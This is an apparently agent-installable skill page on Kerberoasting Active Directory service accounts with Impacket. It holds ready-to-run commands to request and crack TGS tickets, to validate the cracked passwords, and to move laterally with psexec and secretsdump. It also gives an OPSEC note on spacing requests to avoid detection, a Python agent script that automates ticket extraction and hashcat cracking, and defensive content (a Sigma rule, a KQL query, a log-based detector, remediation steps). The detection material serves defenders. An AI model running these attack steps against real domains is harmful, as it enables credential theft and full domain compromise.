red teaming

Exploiting Kerberoasting with Impacket

Perform Kerberoasting attacks using Impacket's GetUserSPNs to extract and crack Kerberos TGS tickets for Active Directory service accounts.

active-directorycredential-accessimpacketkerberoastingkerberosservice-accountst1558-003
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Overview

Kerberoasting (MITRE ATT&CK T1558.003) is a credential access technique that targets Active Directory service accounts by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs). The TGS ticket is encrypted with the service account's NTLM hash (RC4 or AES), enabling offline brute-force cracking. Impacket's GetUserSPNs.py is the standard tool for Linux-based Kerberoasting attacks.

When to Use

  • When performing authorized security testing that involves exploiting kerberoasting with impacket
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Valid domain credentials (any domain user can request TGS tickets)
  • Network access to a Domain Controller (TCP/88 Kerberos, TCP/389 LDAP)
  • Impacket installed (pip install impacket)
  • Hashcat or John the Ripper for offline cracking
  • Wordlist (e.g., rockyou.txt, SecLists)

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

MITRE ATT&CK Mapping

Technique ID Name Tactic
T1558.003 Steal or Forge Kerberos Tickets: Kerberoasting Credential Access
T1087.002 Account Discovery: Domain Account Discovery
T1110.002 Brute Force: Password Cracking Credential Access

Step 1: Enumerate Kerberoastable Accounts

# List all user accounts with SPNs (without requesting tickets)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1
 
# Output example:
# ServicePrincipalName          Name        MemberOf                          PasswordLastSet
# ----------------------------  ----------  --------------------------------  -------------------
# MSSQLSvc/SQL01.corp.local     svc_sql     CN=Domain Admins,CN=Users,...     2023-01-15 10:30:22
# HTTP/web01.corp.local         svc_web     CN=Web Admins,CN=Users,...        2024-03-20 14:15:00
# HOST/backup01.corp.local      svc_backup  CN=Backup Operators,CN=Users,...  2022-06-01 08:45:10

Step 2: Request TGS Tickets

# Request TGS tickets for all Kerberoastable accounts
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
 
# Request ticket for a specific SPN
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request-user svc_sql
 
# Output format (hashcat-compatible):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...
 
# Save to file for cracking
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile kerberoast_hashes.txt
 
# Using NTLM hash instead of password (Pass-the-Hash)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
  -dc-ip 10.10.10.1 -request -outputfile hashes.txt
 
# Request AES tickets (if available)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile hashes.txt

Step 3: Crack TGS Tickets Offline

# Hashcat - RC4 encrypted tickets (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule
 
# Hashcat - AES-256 encrypted tickets (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
 
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt
 
# Check results
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!

Step 4: Validate and Use Cracked Credentials

# Verify cracked credentials
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local
 
# Check for local admin access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth
 
# Use credentials for lateral movement
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local
 
# If service account is Domain Admin
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm

Alternative Tools

Rubeus (Windows)

# Kerberoast all accounts
.\Rubeus.exe kerberoast /outfile:hashes.txt
 
# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt
 
# Request RC4-only tickets (easier to crack)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt
 
# Kerberoast with AES
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt

PowerView (PowerShell)

Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt

Targeted Kerberoasting

High-value targets for Kerberoasting:

Account Type Why Risk
Service accounts in Domain Admins Direct path to domain compromise Critical
SQL service accounts (MSSQLSvc) Often have excessive privileges High
Exchange service accounts Access to all email High
Accounts with AdminCount=1 Previously/currently privileged High
Accounts with old passwords More likely to use weak passwords Medium

Detection

Windows Event Logs

Event ID 4769 - Kerberos Service Ticket Request
- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected
- Monitor for: Single user requesting many TGS tickets in short period
- Monitor for: Service ticket requests from unusual source IPs

Sigma Rule

title: Potential Kerberoasting Activity
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketEncryptionType: '0x17'  # RC4
        ServiceName|endswith: '$'
    filter:
        ServiceName: 'krbtgt'
    condition: selection and not filter
level: medium
tags:
    - attack.credential_access
    - attack.t1558.003

Defensive Recommendations

  1. Use Group Managed Service Accounts (gMSA) - 240-character random passwords, auto-rotated
  2. Set strong passwords (25+ chars) on all service accounts
  3. Enable AES-only encryption - Disable RC4 via GPO
  4. Monitor Event ID 4769 for RC4 TGS requests
  5. Implement Managed Service Accounts where gMSA is not feasible
  6. Regular audits - Run BloodHound to identify Kerberoastable accounts
  7. Protected Users group - Add sensitive service accounts
  8. Honeypot SPNs - Create decoy accounts with SPNs to detect attacks

References

Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md2.2 KB

API Reference: Kerberoasting with Impacket

MITRE ATT&CK T1558.003 — Kerberoasting

Attack Flow

  1. Authenticate to AD with domain user credentials
  2. Query LDAP for accounts with SPNs
  3. Request TGS tickets for those SPNs
  4. Extract ticket hashes
  5. Crack offline with wordlist

Impacket — GetUserSPNs.py

Enumerate SPN Accounts

GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1

Request TGS Tickets

GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1 \
    -request -outputfile kerberoast.txt

With NTLM Hash

GetUserSPNs.py domain.local/user -hashes :NTLM_HASH -dc-ip 10.10.10.1 -request

Output Format (Hashcat mode 13100)

$krb5tgs$23$*svc_sql$DOMAIN.LOCAL$...$<hash>

Rubeus — Windows Kerberoasting

Kerberoast All SPNs

Rubeus.exe kerberoast /outfile:hashes.txt

Target Specific User

Rubeus.exe kerberoast /user:svc_sql /outfile:hashes.txt

RC4 Only (weaker, easier to crack)

Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt

Hash Cracking

Hashcat

# Kerberos 5 TGS-REP etype 23 (RC4)
hashcat -m 13100 hashes.txt wordlist.txt
 
# Kerberos 5 TGS-REP etype 17 (AES-128)
hashcat -m 19600 hashes.txt wordlist.txt
 
# Kerberos 5 TGS-REP etype 18 (AES-256)
hashcat -m 19700 hashes.txt wordlist.txt

John the Ripper

john --wordlist=wordlist.txt hashes.txt

PowerShell Enumeration

Find SPN Accounts

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
    -Properties ServicePrincipalName, PasswordLastSet

Request TGS (PowerView)

Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash

Detection

Event IDs

Event Description
4769 Kerberos Service Ticket Request
4770 Service Ticket Renewed

Detection Query

SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"  // RC4
| where ServiceName !endswith "$"
| summarize count() by Account, ServiceName

Remediation

  1. Use Group Managed Service Accounts (gMSA)
  2. Set strong passwords (25+ characters) on SPN accounts
  3. Enable AES encryption for Kerberos (disable RC4)
  4. Monitor Event 4769 for anomalous TGS requests
standards.md2.2 KB

Standards and References: Kerberoasting with Impacket

MITRE ATT&CK Techniques

Primary Technique

  • T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
    • Tactic: Credential Access (TA0006)
    • Platforms: Windows
    • Data Sources: Active Directory (Credential Request), Logon Session (Logon Session Metadata)
    • Detection: MITRE DET0157

Related Techniques

  • T1558 - Steal or Forge Kerberos Tickets (parent)
  • T1558.004 - AS-REP Roasting
  • T1558.001 - Golden Ticket
  • T1558.002 - Silver Ticket
  • T1087.002 - Account Discovery: Domain Account
  • T1110.002 - Brute Force: Password Cracking

APT Groups Known to Use Kerberoasting

  • APT29 (Cozy Bear / MITRE G0016)
  • FIN7 (MITRE G0046)
  • Wizard Spider (MITRE G0102)
  • HAFNIUM (MITRE G0125)
  • Sandworm Team (MITRE G0034)

NIST References

  • NIST SP 800-53 Rev. 5 - IA-5: Authenticator Management (strong service account passwords)
  • NIST SP 800-53 Rev. 5 - AC-6: Least Privilege (service account permissions)
  • NIST SP 800-63B - Digital Identity Guidelines (password complexity)
  • NIST SP 800-171 - 3.5.7: Store and transmit only cryptographically-protected passwords

Windows Security Events

Event ID Description Relevance
4769 A Kerberos service ticket was requested Primary detection (check Encryption Type)
4768 A Kerberos authentication ticket (TGT) was requested Correlate with source of TGS requests
4770 A Kerberos service ticket was renewed Renewal of Kerberoasted tickets
4771 Kerberos pre-authentication failed Related: AS-REP Roasting detection

Kerberos Encryption Types

Etype Value Algorithm Crackable Hashcat Mode
0x17 (23) RC4-HMAC Fast cracking 13100
0x11 (17) AES128-CTS-HMAC-SHA1-96 Slower cracking 19600
0x12 (18) AES256-CTS-HMAC-SHA1-96 Slowest cracking 19700

CIS Benchmarks

  • CIS Microsoft Windows Server 2022 - 2.3.6.4: Network security: Configure encryption types for Kerberos
  • CIS Active Directory - Service account management requirements
  • CIS Controls v8 - Control 5.4: Restrict Administrator Privileges to Dedicated Accounts
workflows.md5.3 KB

Workflows: Kerberoasting with Impacket

Kerberoasting Attack Workflow

┌─────────────────────────────────────────────────────────────────┐
│                KERBEROASTING ATTACK WORKFLOW                      │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  1. ENUMERATE SPN ACCOUNTS                                       │
│     ├── GetUserSPNs.py (list mode, no -request)                  │
│     ├── Identify high-value targets (DA members, AdminCount)     │
│     ├── Check password age (older = weaker)                      │
│     └── Prioritize targets                                       │
│                                                                  │
│  2. REQUEST TGS TICKETS                                          │
│     ├── GetUserSPNs.py -request -outputfile hashes.txt           │
│     ├── Target specific high-value accounts first                │
│     ├── Request RC4 tickets if possible (faster cracking)        │
│     └── OPSEC: Space out requests to avoid detection             │
│                                                                  │
│  3. OFFLINE CRACKING                                             │
│     ├── hashcat -m 13100 (RC4) or -m 19700 (AES256)             │
│     ├── Use quality wordlists (rockyou, SecLists)                │
│     ├── Apply rules (best64, dive, OneRuleToRuleThemAll)         │
│     └── Use GPU acceleration for faster results                  │
│                                                                  │
│  4. VALIDATE CREDENTIALS                                         │
│     ├── CrackMapExec SMB validation                              │
│     ├── Check access levels (local admin, domain admin)          │
│     ├── Enumerate additional access paths                        │
│     └── Document findings                                        │
│                                                                  │
│  5. LEVERAGE ACCESS                                              │
│     ├── If Domain Admin: DCSync / Golden Ticket                  │
│     ├── If Local Admin: Dump LSASS, pivot laterally              │
│     ├── If standard user: Use for further enumeration            │
│     └── Update BloodHound with newly owned accounts              │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

Target Prioritization Matrix

Priority Decision Tree

├── Is account in Domain Admins group?
│   └── YES → CRITICAL priority → Crack immediately

├── Is AdminCount = 1?
│   └── YES → HIGH priority → Currently or previously privileged

├── Password last set > 2 years ago?
│   └── YES → HIGH priority → Likely weak/legacy password

├── Is account AdminTo any computers?
│   └── YES → MEDIUM priority → Lateral movement opportunity

├── Account description contains password hint?
│   └── YES → HIGH priority → Common OPSEC failure

└── Standard service account
    └── LOW priority → Crack opportunistically

Hashcat Command Reference

# Basic Kerberoasting crack (RC4)
hashcat -m 13100 hashes.txt wordlist.txt
 
# With rules
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule
 
# Multiple wordlists with rules
hashcat -m 13100 hashes.txt wordlist1.txt wordlist2.txt \
  -r rules/OneRuleToRuleThemAll.rule
 
# AES-256 cracking
hashcat -m 19700 hashes.txt wordlist.txt -r rules/best64.rule
 
# Brute force (8 chars)
hashcat -m 13100 hashes.txt -a 3 ?a?a?a?a?a?a?a?a
 
# Show cracked passwords
hashcat -m 13100 hashes.txt --show

Detection and Response Workflow

SOC DETECTION WORKFLOW

├── SIEM Alert: Multiple 4769 events with RC4 encryption
│   ├── Check source account - is it a service account?
│   │   └── NO → Potential Kerberoasting
│   ├── Check volume - more than 5 TGS requests in 5 minutes?
│   │   └── YES → High confidence Kerberoasting
│   └── Check encryption type - 0x17 (RC4)?
│       └── YES → Confirm Kerberoasting attempt

├── RESPONSE ACTIONS
│   ├── Identify source IP and user account
│   ├── Isolate source system if compromised
│   ├── Reset passwords on all targeted service accounts
│   ├── Check for lateral movement from source
│   └── Review service account permissions

└── POST-INCIDENT
    ├── Implement gMSA for targeted accounts
    ├── Disable RC4 encryption via GPO
    ├── Deploy Kerberoasting detection rule
    └── Conduct AD security assessment

Scripts 2

agent.py5.2 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for Kerberoasting attacks using Impacket (T1558.003) — authorized testing."""

import argparse
import json
import subprocess
from datetime import datetime, timezone


def run_getuserspns(domain, username, password, dc_ip, output_file=None):
    """Execute Impacket GetUserSPNs to extract service ticket hashes."""
    cmd = [
        "GetUserSPNs.py", f"{domain}/{username}:{password}",
        "-dc-ip", dc_ip, "-request",
    ]
    if output_file:
        cmd.extend(["-outputfile", output_file])
    try:
        result = subprocess.check_output(
            cmd, text=True, errors="replace", timeout=60
        )
        return {"status": "success", "output": result[:2000]}
    except subprocess.SubprocessError as e:
        return {"status": "failed", "error": str(e)[:200]}
    except FileNotFoundError:
        return {"status": "failed", "error": "GetUserSPNs.py not found — install impacket"}


def enumerate_spn_accounts_ldap(domain, username, password, dc_ip):
    """Enumerate SPN accounts via LDAP query."""
    cmd = [
        "GetUserSPNs.py", f"{domain}/{username}:{password}",
        "-dc-ip", dc_ip,
    ]
    try:
        result = subprocess.check_output(
            cmd, text=True, errors="replace", timeout=30
        )
        accounts = []
        for line in result.strip().splitlines():
            if line and not line.startswith(("-", "Impacket", "ServicePrincipalName")):
                parts = line.split()
                if len(parts) >= 3:
                    accounts.append({
                        "spn": parts[0],
                        "name": parts[1],
                        "memberof": parts[2] if len(parts) > 2 else "",
                    })
        return accounts
    except (subprocess.SubprocessError, FileNotFoundError):
        return []


def crack_with_hashcat(hash_file, wordlist, rules=None):
    """Crack Kerberos TGS hashes with hashcat."""
    cmd = ["hashcat", "-m", "13100", hash_file, wordlist, "--force"]
    if rules:
        cmd.extend(["-r", rules])
    try:
        result = subprocess.check_output(
            cmd, text=True, errors="replace", timeout=600
        )
        return {"status": "completed", "output": result[:1000]}
    except subprocess.SubprocessError as e:
        return {"status": "failed", "error": str(e)[:200]}
    except FileNotFoundError:
        return {"status": "failed", "error": "hashcat not found"}


def enumerate_powershell():
    """Enumerate SPN accounts via PowerShell (domain-joined Windows)."""
    ps_cmd = (
        "Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties "
        "ServicePrincipalName,PasswordLastSet,Enabled,MemberOf "
        "| Select-Object SamAccountName,Enabled,PasswordLastSet,"
        "@{N='SPNs';E={$_.ServicePrincipalName -join ','}} "
        "| ConvertTo-Json"
    )
    try:
        result = subprocess.check_output(
            ["powershell", "-NoProfile", "-Command", ps_cmd],
            text=True, errors="replace", timeout=30
        )
        data = json.loads(result) if result.strip() else []
        return data if isinstance(data, list) else [data]
    except (subprocess.SubprocessError, json.JSONDecodeError):
        return []


def main():
    parser = argparse.ArgumentParser(
        description="Kerberoasting with Impacket (authorized testing only)"
    )
    parser.add_argument("--domain", help="AD domain")
    parser.add_argument("--username", help="Domain username")
    parser.add_argument("--password", help="Domain password")
    parser.add_argument("--dc-ip", help="Domain controller IP")
    parser.add_argument("--enumerate", action="store_true", help="Enumerate SPN accounts")
    parser.add_argument("--request", action="store_true", help="Request TGS tickets")
    parser.add_argument("--hash-file", help="Output file for hashes")
    parser.add_argument("--crack", help="Wordlist for hash cracking")
    parser.add_argument("--output", "-o", help="Output JSON report")
    args = parser.parse_args()

    print("[*] Kerberoasting Agent (Impacket)")
    print("[!] For authorized security testing only")
    report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}}

    if args.enumerate:
        if args.domain and args.username:
            accounts = enumerate_spn_accounts_ldap(
                args.domain, args.username, args.password or "", args.dc_ip or ""
            )
        else:
            accounts = enumerate_powershell()
        report["findings"]["spn_accounts"] = accounts
        print(f"[*] SPN accounts found: {len(accounts)}")

    if args.request and args.domain:
        result = run_getuserspns(
            args.domain, args.username or "", args.password or "",
            args.dc_ip or "", args.hash_file
        )
        report["findings"]["ticket_request"] = result
        print(f"[*] Ticket request: {result['status']}")

    if args.crack and args.hash_file:
        crack_result = crack_with_hashcat(args.hash_file, args.crack)
        report["findings"]["cracking"] = crack_result

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"[*] Report saved to {args.output}")
    else:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
process.py12.0 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
Kerberoasting Analysis and Detection Tool

Parses Kerberos TGS request logs (Event ID 4769) to detect potential
Kerberoasting activity and analyzes extracted hashes for weak passwords.
"""

import json
import os
import re
import csv
from datetime import datetime, timedelta
from collections import defaultdict
from dataclasses import dataclass, field
from typing import Optional


@dataclass
class TGSRequest:
    """Represents a Kerberos TGS ticket request (Event ID 4769)."""
    timestamp: str
    source_ip: str
    source_user: str
    target_service: str
    encryption_type: str  # 0x17=RC4, 0x11=AES128, 0x12=AES256
    result_code: str
    ticket_options: str = ""


@dataclass
class KerberoastTarget:
    """A user account vulnerable to Kerberoasting."""
    username: str
    spn: str
    domain: str
    password_last_set: str = ""
    admin_count: bool = False
    member_of: list = field(default_factory=list)
    risk_score: int = 0


@dataclass
class KerberoastAlert:
    """Alert for detected Kerberoasting activity."""
    severity: str
    timestamp: str
    source_ip: str
    source_user: str
    target_count: int
    targets: list = field(default_factory=list)
    encryption_types: list = field(default_factory=list)
    description: str = ""


class KerberoastDetector:
    """Detect Kerberoasting activity from Windows Event Logs."""

    # Detection thresholds
    TGS_REQUEST_THRESHOLD = 5  # requests in window
    TIME_WINDOW_SECONDS = 300  # 5 minutes
    RC4_ETYPE = "0x17"

    def __init__(self):
        self.tgs_requests: list[TGSRequest] = []
        self.alerts: list[KerberoastAlert] = []
        self.targets: list[KerberoastTarget] = []

    def parse_event_log(self, log_entries: list[dict]) -> None:
        """Parse Windows Event ID 4769 entries."""
        for entry in log_entries:
            if entry.get("EventID") != 4769:
                continue

            event_data = entry.get("EventData", {})
            req = TGSRequest(
                timestamp=entry.get("TimeCreated", ""),
                source_ip=event_data.get("IpAddress", ""),
                source_user=event_data.get("TargetUserName", ""),
                target_service=event_data.get("ServiceName", ""),
                encryption_type=event_data.get("TicketEncryptionType", ""),
                result_code=event_data.get("Status", ""),
                ticket_options=event_data.get("TicketOptions", ""),
            )
            self.tgs_requests.append(req)

    def detect_kerberoasting(self) -> list[KerberoastAlert]:
        """Analyze TGS requests for Kerberoasting indicators."""
        self.alerts = []

        # Group requests by source user and time window
        user_requests = defaultdict(list)
        for req in self.tgs_requests:
            user_requests[req.source_user].append(req)

        for user, requests in user_requests.items():
            # Sort by timestamp
            requests.sort(key=lambda r: r.timestamp)

            # Sliding window detection
            for i, req in enumerate(requests):
                window_reqs = []
                try:
                    req_time = datetime.fromisoformat(req.timestamp.replace("Z", "+00:00"))
                except (ValueError, AttributeError):
                    continue

                for j in range(i, len(requests)):
                    try:
                        other_time = datetime.fromisoformat(
                            requests[j].timestamp.replace("Z", "+00:00")
                        )
                    except (ValueError, AttributeError):
                        continue
                    if (other_time - req_time).total_seconds() <= self.TIME_WINDOW_SECONDS:
                        window_reqs.append(requests[j])
                    else:
                        break

                # Check threshold
                if len(window_reqs) >= self.TGS_REQUEST_THRESHOLD:
                    rc4_reqs = [r for r in window_reqs if r.encryption_type == self.RC4_ETYPE]
                    unique_services = set(r.target_service for r in window_reqs)

                    severity = "critical" if len(rc4_reqs) > 0 else "high"
                    if len(unique_services) > 10:
                        severity = "critical"

                    alert = KerberoastAlert(
                        severity=severity,
                        timestamp=req.timestamp,
                        source_ip=req.source_ip,
                        source_user=user,
                        target_count=len(unique_services),
                        targets=list(unique_services),
                        encryption_types=list(set(r.encryption_type for r in window_reqs)),
                        description=(
                            f"User {user} from {req.source_ip} requested "
                            f"{len(window_reqs)} TGS tickets for {len(unique_services)} "
                            f"unique services within {self.TIME_WINDOW_SECONDS}s window. "
                            f"RC4 requests: {len(rc4_reqs)}/{len(window_reqs)}."
                        ),
                    )
                    self.alerts.append(alert)
                    break  # One alert per user

        return self.alerts

    def analyze_kerberoast_targets(self, targets: list[KerberoastTarget]) -> list[dict]:
        """Analyze and risk-score Kerberoastable accounts."""
        self.targets = targets
        scored_targets = []

        for target in targets:
            score = 0
            risk_factors = []

            # Check if privileged
            if target.admin_count:
                score += 40
                risk_factors.append("AdminCount=1 (privileged account)")

            privileged_groups = [
                "domain admins", "enterprise admins", "schema admins",
                "backup operators", "server operators", "account operators",
            ]
            for group in target.member_of:
                if group.lower() in privileged_groups:
                    score += 30
                    risk_factors.append(f"Member of {group}")

            # Check password age
            if target.password_last_set:
                try:
                    pwd_date = datetime.fromisoformat(target.password_last_set)
                    age_days = (datetime.now() - pwd_date).days
                    if age_days > 730:  # 2 years
                        score += 25
                        risk_factors.append(f"Password age: {age_days} days (>2 years)")
                    elif age_days > 365:
                        score += 15
                        risk_factors.append(f"Password age: {age_days} days (>1 year)")
                    elif age_days > 180:
                        score += 10
                        risk_factors.append(f"Password age: {age_days} days (>6 months)")
                except ValueError:
                    pass

            # Check SPN type
            high_value_spns = ["MSSQLSvc", "HTTP", "exchangeMDB", "ldap"]
            for spn_prefix in high_value_spns:
                if target.spn.startswith(spn_prefix):
                    score += 10
                    risk_factors.append(f"High-value SPN type: {spn_prefix}")
                    break

            target.risk_score = min(score, 100)

            scored_targets.append({
                "username": target.username,
                "spn": target.spn,
                "domain": target.domain,
                "risk_score": target.risk_score,
                "risk_level": (
                    "critical" if score >= 60
                    else "high" if score >= 40
                    else "medium" if score >= 20
                    else "low"
                ),
                "risk_factors": risk_factors,
                "password_last_set": target.password_last_set,
                "admin_count": target.admin_count,
            })

        scored_targets.sort(key=lambda t: t["risk_score"], reverse=True)
        return scored_targets

    def generate_report(self) -> str:
        """Generate Kerberoasting analysis report."""
        lines = []
        lines.append("=" * 70)
        lines.append("KERBEROASTING ANALYSIS REPORT")
        lines.append(f"Generated: {datetime.now().isoformat()}")
        lines.append("=" * 70)

        # Detection results
        if self.alerts:
            lines.append(f"\nDETECTED KERBEROASTING ACTIVITY: {len(self.alerts)} alert(s)")
            lines.append("-" * 70)
            for i, alert in enumerate(self.alerts, 1):
                lines.append(f"\n  Alert #{i} [{alert.severity.upper()}]")
                lines.append(f"  Source: {alert.source_user} @ {alert.source_ip}")
                lines.append(f"  Time: {alert.timestamp}")
                lines.append(f"  Targets: {alert.target_count} services")
                lines.append(f"  Encryption: {', '.join(alert.encryption_types)}")
                lines.append(f"  Details: {alert.description}")
        else:
            lines.append("\nNo Kerberoasting activity detected in analyzed logs.")

        # Target analysis
        if self.targets:
            lines.append(f"\nKERBEROASTABLE ACCOUNTS: {len(self.targets)}")
            lines.append("-" * 70)
            for target in sorted(self.targets, key=lambda t: t.risk_score, reverse=True):
                level = (
                    "CRITICAL" if target.risk_score >= 60
                    else "HIGH" if target.risk_score >= 40
                    else "MEDIUM" if target.risk_score >= 20
                    else "LOW"
                )
                lines.append(
                    f"  [{level}] {target.username} "
                    f"(Score: {target.risk_score}/100) "
                    f"SPN: {target.spn}"
                )

        lines.append("\nREMEDIATION RECOMMENDATIONS:")
        lines.append("-" * 70)
        lines.append("  1. Convert service accounts to Group Managed Service Accounts (gMSA)")
        lines.append("  2. Enforce 25+ character passwords on remaining service accounts")
        lines.append("  3. Disable RC4 encryption via Group Policy")
        lines.append("  4. Add sensitive accounts to Protected Users group")
        lines.append("  5. Deploy SIEM rule for Event ID 4769 with RC4 encryption type")
        lines.append("  6. Create honeypot SPN accounts for early detection")

        return "\n".join(lines)


def main():
    """Demonstrate Kerberoasting detection and analysis."""
    detector = KerberoastDetector()

    # Simulate Event ID 4769 logs (Kerberoasting pattern)
    sample_events = []
    base_time = datetime(2025, 1, 15, 10, 30, 0)
    services = [
        "MSSQLSvc/SQL01", "HTTP/WEB01", "HOST/BACKUP01",
        "MSSQLSvc/SQL02", "exchangeMDB/EX01", "HTTP/APP01",
        "ldap/DC02", "HOST/FILE01",
    ]
    for i, svc in enumerate(services):
        sample_events.append({
            "EventID": 4769,
            "TimeCreated": (base_time + timedelta(seconds=i * 5)).isoformat(),
            "EventData": {
                "TargetUserName": "jsmith",
                "ServiceName": svc,
                "IpAddress": "10.10.10.50",
                "TicketEncryptionType": "0x17",
                "Status": "0x0",
                "TicketOptions": "0x40810000",
            },
        })

    detector.parse_event_log(sample_events)
    detector.detect_kerberoasting()

    # Analyze Kerberoastable targets
    targets = [
        KerberoastTarget(
            username="svc_sql", spn="MSSQLSvc/SQL01.corp.local:1433",
            domain="corp.local", password_last_set="2022-06-15T10:00:00",
            admin_count=True, member_of=["Domain Admins"],
        ),
        KerberoastTarget(
            username="svc_web", spn="HTTP/web01.corp.local",
            domain="corp.local", password_last_set="2024-01-20T14:00:00",
            admin_count=False, member_of=["Web Admins"],
        ),
        KerberoastTarget(
            username="svc_backup", spn="HOST/backup01.corp.local",
            domain="corp.local", password_last_set="2021-03-01T08:00:00",
            admin_count=True, member_of=["Backup Operators"],
        ),
    ]
    detector.analyze_kerberoast_targets(targets)
    print(detector.generate_report())


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 2.8 KB
Keep exploring